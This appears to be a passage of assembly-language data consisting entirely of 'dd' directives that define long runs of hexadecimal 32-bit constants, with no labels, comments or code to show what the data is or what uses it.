dd 0C07C5DCh, 0F3AA4224h, 0F2076790h, 0BED92CB9h, 3082E0A4h
dd 0E98EC08Ch, 6B180935h, 0F8A07DDBh, 0D3BB9B54h, 84C1140Bh
dd 0E184437h, 6995AC33h, 0BFBE6700h, 0A90E31FEh, 207843A4h
dd 284F1D10h, 2D88D3C3h, 0E5F86408h, 18EB6524h, 0CA54A200h
dd 13B0EE99h, 0ED8E4Fh, 42CB3350h, 254BA5F1h, 131D9C5Eh
dd 0C50598AEh, 0F880C287h, 528B04h, 3264D738h, 3995CD89h
dd 0C5ED0F00h, 0D9237BC7h, 510032Fh, 3F634276h, 0A8EDC90Ch
dd 51CB88A5h, 7471E4B9h, 0DC7876E1h, 0C41B0CDEh, 0C1180F20h
dd 6C08B4FBh, 9462F069h, 1D133E94h, 0C0A49770h, 0B7A84FCBh
dd 15DF5380h, 0F44C9343h, 0F51EF200h, 478C7921h, 8C84CB4Ah
dd 0F4098C1Eh, 45290h, 0EAF0D308h, 0C6D8BC4Dh, 9A17C400h
dd 65EE0437h, 19E50957h, 744CE30Ah, 4184F609h, 32F404AAh
dd 8C44E080h, 0B8E64DAEh, 0A4353000h, 0F6EF405Bh, 0D3E7F307h
dd 20AD248Ah, 0C0090047h, 12151D3Ch, 13F9FC98h, 4260C1C0h
dd 9146C7Eh, 440A68CAh, 0E5AE0A0Ch, 0B5A4D929h, 0E8201F90h
dd 0C9F20187h, 0B126597Fh, 0C46AF0ABh, 31C05518h, 1F560D0h
dd 56ADB224h, 40283042h, 0A8FE07F0h, 189E4099h, 4B018784h
dd 0F484A495h, 58604CA5h, 0C4185812h, 93A8A0D6h, 0AA65C309h
dd 0F244F024h, 143D48F6h, 5E793C4Dh, 0E0EC13FEh, 0B61FE808h
dd 6E1E7224h, 259818F7h, 0C31680A2h, 0C098D0EBh, 4317E3D3h
dd 440D2DAh, 0BF6B44D9h, 0E6A40070h, 6CEF3D66h, 2C98F2E8h
dd 1380EB72h, 0B0543E18h, 0F9645B81h, 0E271E5EAh, 745D68C9h
dd 0E8A96948h, 50903C77h, 5C92673Ch, 627AC098h, 0AC6CE024h
dd 64499A42h, 37DF2DE0h, 0C36FC410h, 0E0D48A18h, 885E2129h
dd 733EFDE5h, 9BD700E7h, 0F3350A24h, 1D890D0h, 0D19C9D27h
dd 54423903h, 22C44980h, 515C2900h, 11FA25B7h, 57B8073h
dd 0E030E52Eh, 4FC4249Fh, 0B0A94B9Eh, 5A40D039h, 0BB955EF8h
dd 0F734F188h, 28942089h, 4450570Ch, 5CF09648h, 9E670148h
dd 7ADE0CBFh, 1F984C70h, 0FC67E51h, 21A02AC7h, 0C8F0A489h
dd 0FC79591Fh, 6BAE9F00h, 558B1F71h, 582DE8D7h, 0DC3CD060h
dd 9CA4279Bh, 43DE4E09h, 1107099h, 6566391Ah, 0EDD88C03h
dd 275C33FEh, 7EFC60FFh, 0D2670047h, 951DCFC5h, 2D62A98Ch
dd 594AAA68h, 3F8C42A8h
dd 1C90A8F2h, 3AE0A46Bh, 0B018CCA4h, 43889E84h, 82CC20A3h
dd 0B30734ECh, 18E068B9h, 0D2C8028Ah, 75534F8Eh, 58EFE060h
dd 0AF2D9A04h, 0C8805703h, 2E519180h, 13D41C60h, 0E8A60076h
dd 11CC46A5h, 0B4EFD705h, 0BC4537FEh, 5C040F44h, 9C853302h
dd 0CA43E8D3h, 0C40460F0h, 42221907h, 0E119115Ah, 444C4120h
dd 32FC28F6h, 5C1A21EAh, 684F0644h, 5D04E8B1h, 3BEAB6D9h
dd 76C9DC89h, 0B54CAED0h, 0C083CB2h, 0ABD20314h, 7CE93F16h
dd 77A09234h, 0F2E94405h, 60AA2C82h, 94200BE0h, 3EE8A950h
dd 0CD936848h, 0F7E8007Ch, 576132F0h, 0A66B8A08h, 32B10434h
dd 285166ACh, 63D3D4B8h, 0A64F4800h, 0E5DF38Dh, 0F09758D0h
dd 4378E007h, 161810BEh, 3F06B13Ch, 7EBA45Bh, 27D23F42h
dd 509A2C83h, 63D0A0DCh, 0D3485EADh, 0B01B0078h, 98C3DD0h
dd 0C088DCD6h, 19EEB931h, 0B0B2FE6Ah, 99164904h, 28B071A0h
dd 186E60D5h, 4FE18CE0h, 0E0A1F64Bh, 5C318404h, 312F9BC7h
dd 530A0B0h, 1FEF68A0h, 0B20B50Fh, 944CC95Ch, 0AF40C278h
dd 9AF4A170h, 88E818A9h, 4426622Ah, 0DF43D0E0h, 921CAA75h
dd 183880C8h, 31A90EBEh, 3620E57Dh, 99508D42h, 0E42219B2h
dd 9B03C602h, 0C0EB3EE5h, 86A9BFC9h, 46F94270h, 0D9620060h
dd 0AD33ABEDh, 53E8AA77h, 29BEBA01h, 9C02BFF6h, 56DF5C2Ch
dd 0A02C544Ah, 6DA4405Eh, 0B4DB2009h, 1EF34209h, 42F86524h
dd 18712113h, 0E81B430Bh, 387E6A8Ch, 3A04FF2h, 0C28D494h
dd 0BFC0D00h, 832FD04Eh, 0C94A067Eh, 5E42F167h, 2C289358h
dd 171D3668h, 7FEC073Fh, 41CF5196h, 6D1982A6h, 0B3AE6F0h
dd 4C8193D1h, 0A63BD061h, 1420F811h, 54051C00h, 0DC9FF7D3h
dd 52F33743h, 8C4FE0C0h, 0D0C06E6Bh, 61E0F22Bh, 9E630B1Ah
dd 0C0007765h, 6A51017Ch, 5FE408B2h, 0FD8EE4B4h, 0C4558150h
dd 7B204Fh, 44B04D34h, 0DA25E8F2h, 42D0B0CAh, 1E6C403Ch
dd 127EA53Ch, 749049EDh, 54C04BCh, 8B43E07Ch, 42BC1F34h
dd 0E299BEE5h, 772FF800h, 70C3640Bh, 9EDCA809h, 1AEF7507h
dd 0F0ACA28Fh, 8CD89867h, 0D314405Eh, 42186561h, 60800F84h
dd 1A0E7B0Ch, 4C9636AAh, 9605B1Fh, 890DB318h, 0C7E8F08Fh
dd 0B531CC00h, 80F6D38Ah, 584B6CC1h, 5C2A3C89h, 0C969D22Ch
dd 0BDBBD79Ch, 31D43003h, 98E4A2D3h, 786AF559h, 0F4520332h
dd 8F2DEB67h, 534317A8h, 51EF1D03h, 699142h, 78082160h
dd 87E01E77h, 65244FE4h, 6C8058B4h, 768D5735h, 373D1362h
dd 4D4B062Ch, 441C2005h, 0E8C963DFh, 0DF8E0CBh, 0C8D0546Bh
dd 840850EAh, 0D14C9670h, 39250732h, 207B405h, 6246BC47h
dd 43DA42E0h, 8401BFF6h, 0E92EEA28h, 12842C2Ch, 0ECE1D66Fh
dd 0F880D8FBh, 38E5B9Dh, 356004B8h, 0EEE1DFA8h, 80C7AC38h
dd 0A9102214h, 13A444B5h, 1965857h, 8F08E980h, 0F1C02506h
dd 22C2C471h, 18594F18h, 0F7E3B90h, 38E76740h, 8CAF29A0h
dd 0BCB2D810h, 0C8E04739h, 3B82C444h, 48826E09h, 58C8FEA9h
dd 0ECB8FFA6h, 1FF46613h, 0FBD088C7h, 9ACBE513h, 84D45888h
dd 1EF00C30h, 770B75A8h, 0A8CFE516h, 91128810h, 4C1848A0h
dd 3EC01C15h, 0DE7363C7h, 0A2D1E70Ah, 1F050856h, 0B4F09668h
dd 0C0805F8Ch, 3CAC46Ch, 0E4C8244Bh, 0C70F984Fh, 647D0828h
dd 0DC00BF32h, 0C72BE527h, 0B8DF1E7Ch, 20CFCC0h, 9B90E770h
dd 40983807h, 3FC11503h, 4B2FE2CDh, 5881E3C8h, 3AD46E50h
dd 4852CC0Ch, 1F0C0553h, 0B374A56Bh, 6E51348h, 33D4C044h
dd 542784F2h, 0BDE5AC81h, 34C00432h, 3E757C35h, 8717F676h
dd 5C58F8F3h, 8B50832Ch, 5DD028FFh, 488C1934h, 0FA1658A8h
dd 3988E87Bh, 4CC93BC1h, 1315FC4h, 6DF3AC42h, 89C35869h
dd 5F98A8C6h, 1A072448h, 93021C07h, 69D1B2C0h, 17C8F878h
dd 452D27FCh, 0F39BDB18h, 0B6AA10FCh, 0CB901606h, 3D261883h
dd 0D218569Eh, 14659A8h, 0E4F5655Fh, 92AC53E5h, 3C200D30h
dd 25B8E7CCh, 0DC93FFD8h, 48A2D850h, 60C510CBh, 0B05317D0h
dd 0C9691h, 0D8487EA6h, 0DD1BE9A5h, 0C858978Ah, 0B6FADBh
dd 9E6FCB3Dh, 7B4F4AABh, 825944Bh, 2562C893h, 1C90A7D0h
dd 1A05CE28h, 735D14E9h, 80544C4h, 0B4A015E5h, 1CE40024h
dd 0ADC2DE4Eh, 0B501C382h, 3E8CDD19h, 0E0CC2203h, 174F099h
dd 0CA87D1C7h, 64266042h, 90BE9E98h, 24A33564h, 8200952Eh
dd 0F0E51EFDh, 0AA2588F0h, 5FCA905h, 0C88824C5h, 0B66F038Ah
dd 42331AABh, 0E5A85BE3h, 28904359h, 20D3D103h, 4AB5BB4Eh
dd 0E5E48048h, 60BA9F9Eh, 3937E002h, 0E98B178Ch, 0D434C650h
dd 70DD031Dh, 3D460E85h, 700E0C6h, 0D0C8FEB5h, 24A5CBF8h
dd 177CB6D9h, 575490BEh, 0FC1F4C29h, 97181FB0h, 0A90B89h
dd 0C9E66C14h, 0A58AD8F7h, 5A70F861h, 0C8605E50h, 908D12F0h
dd 91C404C0h, 0D0A70024h, 3A265Ch, 1B2E449Ah, 0A987C913h
dd 7CCC6659h, 2B004C78h, 0A64FB75Fh, 2EEEF12h, 0E53CE1F2h
dd 0B84833EAh, 4D4C0A43h, 0FEC680E0h, 98D86B74h, 5070FDC0h
dd 725D001Eh, 0A2DBE7CFh, 6348C53Ch, 71B44C4Ch, 72945Bh
dd 0BB84D368h, 44412D79h, 0F87CA84Ah, 0C11666C4h, 0F363D9B0h
dd 0CBB6BDA0h, 216DD00h, 0F7A43825h, 0B84C3CD6h, 27F26805h
dd 44908015h, 94956DE9h, 96B020B8h, 58A8209Fh, 9899FA9Fh
dd 0B5340330h, 0E5F3B2D5h, 0C1547EC3h, 42507F2Ch, 5C9AA0CCh
dd 0B062CD20h, 5C8801A0h, 0C44FD846h, 0D7688B30h, 9245A2Fh
dd 810515D1h, 32268480h, 4A0B0CC1h, 2AC543EFh, 6D001CC8h
dd 0FA21CCD1h, 0A36C2C41h, 2BBE8080h, 0E3977DC4h, 689AA750h
dd 0E251F7F2h, 2C3DC8E4h, 18BA3830h, 142E5B9h, 0B64D9BE1h
dd 405AED4Ch, 0E058A4F0h, 0C480809Dh, 34A255FCh, 2407A5Dh
dd 78C3708h, 5C94857Dh, 0D2825487h, 2DF8F2F0h, 8903CCBh
dd 6170DD21h, 0DF1BAD03h, 2C2FA043h, 9450B0h, 0BC4D39E8h
dd 2A98C4C3h, 6101997Fh, 0E5B1120Ch, 246060D4h, 0B3E81830h
dd 944EF0D6h, 42D09097h, 8009547Fh, 3400B8E9h, 802045C3h
dd 0CAB68A66h, 0AB8070B4h, 0B1D064F6h, 176F0009h, 0F3497E9Ah
dd 584BD7C4h, 0BF656A01h, 0F4204AEDh, 64384B0Bh, 918BC60h
dd 60BC7568h, 9E13C704h, 35F08274h, 8CE0B5D9h, 0C309AF55h
dd 88921BD7h, 43060854h, 2B01D5Fh, 9A8F0514h, 5098C23h
dd 5CB26E38h, 981CC14Eh, 82E0064h, 0C3EF04A6h, 0BAE274Fh
dd 0A0EC8221h, 0D3F0C04Ah, 0C424007Bh, 0BA801618h, 64248820h
dd 7A1640FBh, 2CCF4CA0h, 67A8E65Dh, 34701C09h, 0B32D7090h
dd 8D86531h, 6517E8DEh, 98564C4Ch, 1205E722h, 2850E354h
dd 0D405D86Fh, 0BD4F4763h, 281A6802h, 0E5D84838h, 94509D22h
dd 38BCECB8h, 0E5B40169h, 402F2DEDh, 0DC015650h, 94BAFF13h
dd 0CA9180F1h, 5DBA4E72h, 0EF400038h, 5BE0C7A8h, 20078A42h
dd 92BBE427h, 0E8A0AF74h, 56DD1D17h, 166C0AB2h, 0AD8D00BCh
dd 8A084309h, 0D307CE0Bh, 480408A8h, 1023DF49h, 100D7A0Eh
dd 0F06EA7C1h, 403A9008h, 0A50306EEh, 601A56ADh, 1287E18Ah
dd 0C2327881h, 0C81E3FA2h, 0F00999Eh, 67C9C5F3h, 56847A3h
dd 6A8C57D7h, 4FD490DAh, 88B8E20Fh, 9A69E002h, 50470BE9h
dd 25D20900h, 0E863E556h, 4963EBC0h, 5A709401h, 2134904Ah
dd 8021D449h, 0B47CF9C5h, 48B569Dh, 40F670h, 4CC67F22h
dd 888A16D7h, 0CF94014Ah
dd 6A762F4Fh, 1081C800h, 0EA2D332h, 0CB89AAF4h, 0BBB24F23h
dd 0D6B14000h, 4864C0C9h, 0C8FB02AEh, 775143D1h, 41B404C8h
dd 0B204010Fh, 0E0CAC240h, 0E4144B48h, 0E234F8D2h, 0C00884A4h
dd 0DCE3A40Eh, 0E9E0303Eh, 0E048A6E3h, 0E1EE005Ch, 98164993h
dd 588A5D43h, 5A213500h, 27D2B8E2h, 8D05A8E2h, 2403CC42h
dd 9A10E0E2h, 0D3284D09h, 0DE90080h, 347D0263h, 0EA74F5Bh
dd 0D16EB000h, 25A514FEh, 0F12ECF1h, 0B28060CCh, 0C34C2229h
dd 6B081840h, 59EF090h, 0A0CAFB53h, 8010A80Fh, 16AB6812h
dd 0AAAE1265h, 5A307215h, 95F81543h, 8C9A10F5h, 0D011B22Ah
dd 3A1D600h, 4FEF4C67h, 1882FBD7h, 0E778A468h, 42A7AC7Ch
dd 2784641Ch, 70CD846Eh, 9BF8C925h, 423C66EAh, 68C42D60h
dd 0B7315018h, 3E3638E1h, 780F3C4Bh, 63D00910h, 5898E043h
dd 7867CDC1h, 0FA2F5050h, 95284C58h, 9D8C7481h, 81747852h
dd 0D57E43C6h, 244FA020h, 37CE7A3h, 6BC18C35h, 2E012805h
dd 74D062E5h, 2D5B0EBAh, 0EC830CFAh, 0FD0EAA4h, 0EF02A8F2h
dd 6C43DAC6h, 42D8FA2Bh, 451A00CAh, 0F7C164E2h, 2C119585h
dd 6DE0EF27h, 30012499h, 0A8AD3FA4h, 84E9D374h, 0E0000877h
dd 0CB0ACE88h, 1B6E54A3h, 168FC8A8h, 0AF7C08CDh, 8132420Bh
dd 0B549AD04h, 0A80118F0h, 0F2A70B4h, 9A4833ECh, 0E14C2C0h
dd 460CA5BDh, 684BEB42h, 0A2CF0032h, 5665FDF8h, 0DB284FA0h
dd 3507C4F1h, 0DA3126D5h, 0E03EEFA0h, 2A887687h, 0E6B82802h
dd 0B8F761B5h, 391F842h, 94E8336Eh, 73D9A4C8h, 0FE1C488h
dd 0B58AEF0Ah, 20BBE071h, 9D37h, 392952Ch, 0C26FB800h
dd 634C5BD8h, 0E5F70264h, 36BBAC87h, 7FCA1860h, 0EC0F6600h
dd 6E6ADDBFh, 0EB7526D0h, 555000CBh, 0D9CA623Fh, 0E02CE81Eh
dd 0E517C502h, 1E6850FCh, 397D56A5h, 0D800814Bh, 782961C2h
dd 440E983Ch, 0AEF800DEh, 6B1845EFh, 8097DF03h, 8A3B7560h
dd 0C7CA018Dh, 0E9C5B66Fh, 259C6D0Eh, 544642h, 0C0830518h
dd 0DAF2FD79h, 424450C1h, 103406A7h, 0D093DF1h, 0F6A47780h
dd 0CF8B9187h, 6F78677Ch, 4B029902h, 7F194F41h, 3871F489h
dd 0B88CA444h, 29B369CBh, 795F80F0h, 7B5D8441h, 0F8251F42h
dd 0C9D8003Ah, 0F5A58F8Eh, 93EC6B50h, 951A1800h, 0AD364F01h
dd 8D0EEFAh, 51D24282h, 2BEB6300h, 4DE59B61h, 0BC12084Ch
dd 8FC82101h, 9EE858AEh, 1335A907h, 6E779D68h, 628C5240h
dd 3230C0B5h, 0C3F439D9h, 0DBBD6700h, 0A4AAF516h, 7DE8055Ah
dd 0B01809E4h, 0E5A4FD0h, 0CC3C00F1h, 63C8C97h, 3CE0259Fh
dd 5027ECE1h, 3945500Ah, 70462D84h, 86FCD32h, 3EC7128h
dd 0E90F8AE1h, 3E601055h, 0B9103433h, 507CA5D9h, 0F0D7E584h
dd 44264C10h, 92006C20h, 0BACD6F80h, 0A43B009Bh, 1E5836E6h
dd 1803176Bh, 7BA6CBEEh, 0E8B1958Ch, 19A71040h, 2258008Ah
dd 8ED80D49h, 0FC65138Ch, 0B0A0D320h, 1A6F2442h, 21E78F1Ch
dd 0A4817780h, 5A0296F0h, 0B4506CD2h, 27D86806h, 6D9200BFh
dd 0AD379BDCh, 1B0DF921h, 0B083A1E5h, 586443F0h, 0ACB4542Ah
dd 0ED4C1308h, 2D4E8000h, 0EC03B1h, 820D0BDAh, 64605F10h
dd 0A64FD139h, 0AE8040B8h, 0D3F261E6h, 7E791CC1h, 5968052h
dd 0DD4FC87Ch, 50289861h, 83B368Ch, 0A400E254h, 689B4BE7h
dd 0B2A9FE03h, 74DD0100h, 459CF291h, 44703A5Ch, 17229F66h
dd 0A3547942h, 3CDE0204h, 68E7907Ah, 0C98EFDCCh, 0A891E420h
dd 78482A50h, 0EED99DDDh, 0C30A42F4h, 0E4836105h, 4CECA5CDh
dd 6440F83h, 133F2915h, 23CB009Ch, 7E56A2D2h, 0A9A4B84Ch
dd 2DEC4DC0h, 0C58502BDh, 0D740506Eh, 3868B0E8h, 0BC09E908h
dd 5467018Dh, 13D9E4Fh, 702C5F08h, 26E85326h, 484E0924h
dd 450CE858h, 38DF91E5h, 0C32BDC8h, 53005C7Ch, 0B1552CF0h
dd 5EB20BC4h, 6B804CA6h, 0DF53AFDh, 9204200h, 1BE2B814h
dd 15B1009Bh, 0DD1D9AC6h, 180F12C0h, 226BB67Fh, 58722D8Ch
dd 221400B0h, 92416E37h, 5A4D43D4h, 0B5351298h, 2E182D00h
dd 98E72Dh, 485969E2h, 0E5436588h, 98E184E2h, 66D1DDE9h
dd 509A8045h, 55FAD001h, 81EAE5F9h, 0F60D2880h, 0D2EF71F1h
dd 6C434F2Eh, 0E88DD80h, 6136603h, 48E54E02h, 0AA253020h
dd 0FAE832ADh, 0E80EB780h, 4CADC888h, 57A20920h, 8113AFEh
dd 5A9108C7h, 52D888F6h, 12B988E9h, 69180349h, 480C074Ah
dd 6021C6E5h, 0C14325DBh, 37C8DCE3h, 31D65D8Ch, 63DE6040h
dd 4ADDE841h, 5DC813Eh, 48482B1Fh, 0BDE58636h, 0A44F50E1h
dd 308C3438h, 2818FA64h, 20E763E0h, 3B588030h, 470DF010h
dd 0D0989512h, 0CE80B564h, 2BE80B27h, 24E52AAAh, 0FE16082Ch
dd 54F2AC87h, 0ACA0482Dh, 0BE87F0F9h, 8C893E80h, 0A8F10F35h
dd 0EA3A3D3Ch, 0E03C9CF9h, 0AA0316E8h, 0A4FAD9h, 5D954DEBh
dd 8DE51301h, 247B58h, 69219BC6h, 0B811F41Ah, 0D22220DCh
dd 365F98F2h, 420918CAh, 4C568B88h, 28A08788h, 0C8785D50h
dd 0A8C80809h, 0DA98F86Eh, 0B20140F6h, 0B464E40Bh, 0D6F65DEAh
dd 0A80AC7B0h, 7C00D05h, 0C0BB704Fh, 8B2764A6h, 0AA4AECA2h
dd 0C000CAD8h, 80A49DD0h, 0B807F77Eh, 801FC2D0h, 0BF4F02AEh
dd 0E4905596h, 0EC2F65CAh, 7D9CC81Ah, 4EFB1641h, 3E240003h
dd 17F093B9h, 0C8BA657Ch, 0F03584A1h, 0E02E3497h, 0D100F095h
dd 0BA9F5163h, 5CE5169Ah, 18B8A387h, 24F80E25h, 914F2549h
dd 0A73A3860h, 0ADCD29Fh, 0E7DE259Ah, 725D09F1h, 0BCA21285h
dd 0BE4FC3ACh, 17302F89h, 0FF57F010h, 0CF718A14h, 0D40A5BF8h
dd 8C70D43Bh, 7C6280AEh, 71086CBCh, 0D23B01C0h, 0A4513143h
dd 0E06AB821h, 0FC6CADh, 22245F48h, 0B4D7B171h, 0D473C400h
dd 21ABFBEFh, 58AA0002h, 722EE8A2h, 4700D004h, 0BFE19D5Fh
dd 27E9E5h, 99508C3Dh, 10A38309h, 2E005179h, 7F9A4DE6h
dd 0FC729CBFh, 3868C067h, 0A0589798h, 0EFCE6A01h, 45FF6CA4h
dd 1CF4FCF0h, 80D5F39Bh, 0E3DB02ABh, 0A42DC7C3h, 1FB076D8h
dd 2B52035Bh, 86E1BC43h, 671881F2h, 0CC087232h, 7FC69881h
dd 8030AE3Ah, 9D5EA670h, 30EDBA4Eh, 603091F1h, 1100B3F3h
dd 9212BEF4h, 0F3EF2FFh, 83DCBA3Bh, 3FDAB6C0h, 484164D5h
dd 2F8B8240h, 0ABB30760h, 80D8B8D3h, 4C4302F3h, 391D2200h
dd 42A057D0h, 0D63A003Ch, 808E7281h, 69036048h, 0FDE7E473h
dd 68A01EBAh, 0CB0C007Bh, 0F393DF6Bh, 0E57D8D3Dh, 8001E098h
dd 0BE103B02h, 380C48E0h, 61006593h, 0C4D72550h, 6C6118C7h
dd 40CB8F98h, 4BC23886h, 52F830D4h, 7243930Eh, 35105858h
dd 374700FEh, 4CC7FD3Bh, 847DE707h, 324083Ch, 0F38E9774h
dd 1487866h, 3D20D155h, 0D5EBEE88h, 3F18850Bh, 0A8096B12h
dd 0F930000Ah, 7EC7EDBEh, 0CB04019Fh, 66FFF83Ah, 0DD84148h
dd 0D502A7h, 72E3CB6Ah, 801E6D28h, 3BE63C0Ch, 7E48588Bh
dd 89C43B12h, 5A721161h, 42880B9h, 33FC01D3h, 0B78400EEh
dd 0B6AC81FFh, 0E30AC369h, 0D06B930Ah, 0BCF68F83h, 84C043DEh
dd 98663D0Ch, 0A4A0A9A1h, 0D14C06Bh, 733C6732h, 0E628B0E8h
dd 0C0A4882h, 0CCDD6BC8h, 0A3744128h, 0C36A0E19h, 0D040DF60h
dd 6C82420h, 0B63A9E80h, 0DC0F5168h, 0A4AB0BECh, 589375E3h
dd 8E22C053h, 6064609Ch, 27E86582h, 50036798h, 0AE85C289h
dd 2C55A0C1h, 0B40B00B1h, 0BCA59708h, 4400C699h, 82AC4048h
dd 24E7D46Ch, 24D5934h
dd 0F7C872ABh, 3A842848h, 88C5E47Ch, 8040D321h, 72A937D0h
dd 1074609Eh, 86A27C9Dh, 4DE5F500h, 0A62F9A6h, 1FB7EA58h
dd 0C015528Fh, 6FC84ABDh, 27004F4Dh, 0AED65020h, 157FA1Eh
dd 0B79E6E3Fh, 9515BEC7h, 6940AE0h, 48CA3AB9h, 0BC9A0080h
dd 3D70F2FCh, 9490DCB8h, 0B083E529h, 0CB1B1400h, 29B512ADh
dd 85BC9DE6h, 0AA3F6B95h, 108A6787h, 91CD0AC2h, 1030E9F8h
dd 0B92330C8h, 0DE461D10h, 50FE7600h, 0A1F2EF44h, 7B0892C2h
dd 91040354h, 42F3EE83h, 120450A6h, 53ECDE11h, 307228C8h
dd 68607BA0h, 6C243A7Dh, 0AD807802h, 2616F56Bh, 0B823308Eh
dd 0BC203F58h, 0D31098C4h, 0E4582481h, 60B83AD0h, 0F3143829h
dd 20E9BDCAh, 12241134h, 84E87CB1h, 0ED093A06h, 0C4EB0011h
dd 622AA78Ah, 0A8000AA4h, 0D035BC67h, 0CFB6FB8Fh, 0D2438778h
dd 80BCD971h, 9DB848DAh, 8347802h, 0C14FCEC9h, 0BC5029AAh
dd 174C2BAh, 0DF5BC765h, 0A1AC7FCFh, 0AA3CA430h, 3A18C84Ah
dd 0E7B837FFh, 2CD649ECh, 720C5C48h, 0DE307726h, 8B091B78h
dd 20FAB7C8h, 21C1AD00h, 2991378Eh, 414AF0D8h, 580109B2h
dd 0C04EE6BDh, 8AF8F4ACh, 19898CAh, 0A78C513Ch, 0F3B1F09Fh
dd 0AAEDC8B0h, 14A3B49Ah, 75395010h, 59D9430Eh, 0E420AF69h
dd 0AB7C72ACh, 5DEA0CBh, 0C01C1410h, 8F05FC64h, 0F047867Eh
dd 8769A872h, 3CB91C0h, 0AD41FBFh, 0C5F1EE38h, 384D87C4h
dd 0D1440448h, 8332DB24h, 20EC1C41h, 31A01E3Ch, 8E0ABE4Ah
dd 1C4D20Eh, 0BE50901Fh, 303988FCh, 0A889008Dh, 0BDAE4D0Dh
dd 0BFE79C00h, 28FD5B1h, 0C820C177h, 60EF906Dh, 16502B58h
dd 940050ACh, 0C545AFCh, 92DAA63Bh, 0CB033494h, 13BFC0D9h
dd 0C0C7BC59h, 94C12950h, 188CB363h, 0EE480A2Ch, 0C9A4E819h
dd 203012A0h, 8BEC5C4Fh, 1F32C07Dh, 36F588B8h, 121CD20Eh
dd 2C3A02D8h, 0B2FC866Fh, 21110010h, 87BE9C8Ch, 97039550h
dd 5AC6D4E6h, 606E8F3Ah, 757ECE4Dh, 8EAD0C8Ah, 0AFD882E9h
dd 1D5C0CB0h, 0CE190241h, 98EB149Fh, 808818CCh, 549A333Fh
dd 0B8CE559h, 89EC22B6h, 95C9034h, 613B810Dh, 6E9AF141h
dd 0B67B0B4h, 0CAFB142Bh, 62247831h, 3B0304CCh, 8C80FDD8h
dd 60565790h, 58B138EBh, 0A850A60Eh, 0D32E16A0h, 290BBEDEh
dd 0C008A043h, 91674D04h, 6E8805CCh, 58A40018h, 3850B0BFh
dd 0C9305100h, 0C2D8BD82h, 9EDB1D70h, 62CF8148h, 0BF063F3Ah
dd 0FB8E8A41h, 0DD0BC4C8h, 1DE823B3h, 4F200281h, 0FA2E8ECCh
dd 1744300h, 2A7271DAh, 0F05341h, 98CB5999h, 3E56FF75h
dd 490E851h, 0CAA8C788h, 41956588h, 1872ADB4h, 0F878215Eh
dd 4C92E638h, 68C5A632h, 98C4A2C1h, 0ABDC005Ch, 4374C6F3h
dd 0AF8E7B0Dh, 94071844h, 4F1CE9F4h, 926B1D2Bh, 0C973A401h
dd 0A060AC41h, 0C044AB92h, 0A0C051B7h, 298667BAh, 86CC4AC2h
dd 302CAD8Eh, 448C14Ch, 0CB0AA66Ah, 98EF40C8h, 32C818C0h
dd 31E71056h, 6D8ED501h, 99D0720Ch, 67870A8h, 8951907Fh
dd 0B70B28E3h, 0A1BB7211h, 2D663ED0h, 90B84430h, 8E3B09BCh
dd 48A9A058h, 0CE8AB810h, 0C8183492h, 5948EA98h, 0C77F0791h
dd 0C21F45FCh, 84977CBh, 3AAC5035h, 0DCA01734h, 640BB31Fh
dd 224C043Fh, 0C35CCC0Ch, 39EE98A7h, 0CB0B2414h, 3808C04Ch
dd 0C6000AA9h, 6A9779CFh, 37724666h, 8B2011E2h, 0E71E6494h
dd 0A7004F4Eh, 0A1768621h, 7DD16D7h, 8C2108Fh, 88AEA689h
dd 8867B880h, 3CA048C2h, 116774C8h, 73C5FC50h, 0D3680C00h
dd 561EE3h, 50B4CBC1h, 0E8670A92h, 3442BD3Ah, 0D075206Bh
dd 93501004h, 41EA9489h, 0D301E31Ch, 0A0C6F2EDh, 378E020h
dd 678DB535h, 498E1DC9h, 9BB62200h, 3206F119h, 0A2E0198h
dd 0E13FF2C4h, 1A2C307Ah, 0C6FA3302h, 43F44772h, 0E3A28040h
dd 5CC8909Ch, 0E50AC4F2h, 0A4E88AA0h, 0C002021Ch, 0DC460AB2h
dd 73843A17h, 71448440h, 9208F96h, 0AD8DCE1Eh, 3947C280h
dd 0CC5D3C8Eh, 54550010h, 68185D96h, 9BDC2E94h, 0CE72E658h
dd 8253D9E9h, 1C7B9E8h, 1880C442h, 0B0F14572h, 0DA18701Fh
dd 9638E3D8h, 98807583h, 943E2FFh, 181A9345h, 0F6A74D00h
dd 787E99ECh, 0FF91AA01h, 5F859C2h, 7DC50A8Fh, 434E7100h
dd 0C714F92Ch, 0BE4FCFh, 0EDD59AE6h, 32725E03h, 51985D07h
dd 30641009h, 3CC08A09h, 8E49E53Ah, 0EC912958h, 8B81003Dh
dd 0C3E47B56h, 68E2425h, 7A49398h, 0A53F65CCh, 0DA64CC2Bh
dd 8D17E090h, 4440EB68h, 32E7D76Ah, 445D00B4h, 0FDC80AADh
dd 480C2207h, 502D7C8Eh, 38AB63D9h, 100A7245h, 44960AA8h
dd 0A31AA090h, 48669E3h, 0C3177855h, 4B01EFD2h, 50BFEE0Ch
dd 0CCD950D7h, 5F900972h, 7381C98Eh, 0D8424E6Dh, 58C3E207h
dd 0F23F3BE0h, 0CC8FAFh, 0C8873C27h, 10806719h, 4FD150F6h
dd 8C3CF325h, 0B03A3E8Bh, 0C78A6014h, 3C3473D2h, 848FF9Dh
dd 0BB3A2474h, 91A4812Ch, 0EA14C470h, 10FC98E8h, 1EC2DF9h
dd 0AE0B36BAh, 0E740D406h, 5D6C372h, 13C89266h, 0E7E4003Eh
dd 8ADEE583h, 0BA509094h, 0C0D5FCC7h, 0E44173A8h, 3F166C67h
dd 9C40849Ah, 86BD3707h, 0FA3746Ah, 0A9C30DAEh, 0B08CC492h
dd 0CF00BE18h, 7F6E1F34h, 0CB816635h, 0E8826B20h, 9470EA80h
dd 0C0BF3809h, 0A37422D1h, 4803068Eh, 0D0B067E4h, 0B5B01203h
dd 2D94F3Ah, 7092AF28h, 0C01F8Eh, 9D07B8E0h, 11D7E90Fh
dd 0E5C8D3B3h, 4B208C8h, 0FD4E45E3h, 2177C7C2h, 304FB724h
dd 3F768BD0h, 13C84248h, 0D43089B5h, 92F4FDAFh, 7E353038h
dd 57171818h, 0B09BB80Bh, 21E8A290h, 0EF78C887h, 0B3D38B15h
dd 46C73001h, 881E79F9h, 0BD7430h, 43061D87h, 0B6C2C956h
dd 7CDE1492h, 0B93A3643h, 264C7EE5h, 9682551h, 7C467915h
dd 78F03C26h, 51003B17h, 528E7C47h, 3F0C3FDh, 0A0846B90h
dd 3A1AB38Ch, 6050C583h, 12C61714h, 0B851F1h, 0EAF335ECh
dd 0FE30C7E3h, 8FB030A9h, 12F198A5h, 192B214h, 34324C1Ch
dd 811F6085h, 100CAC48h, 0B406FECEh, 60B7E83Ah, 8E36BE09h
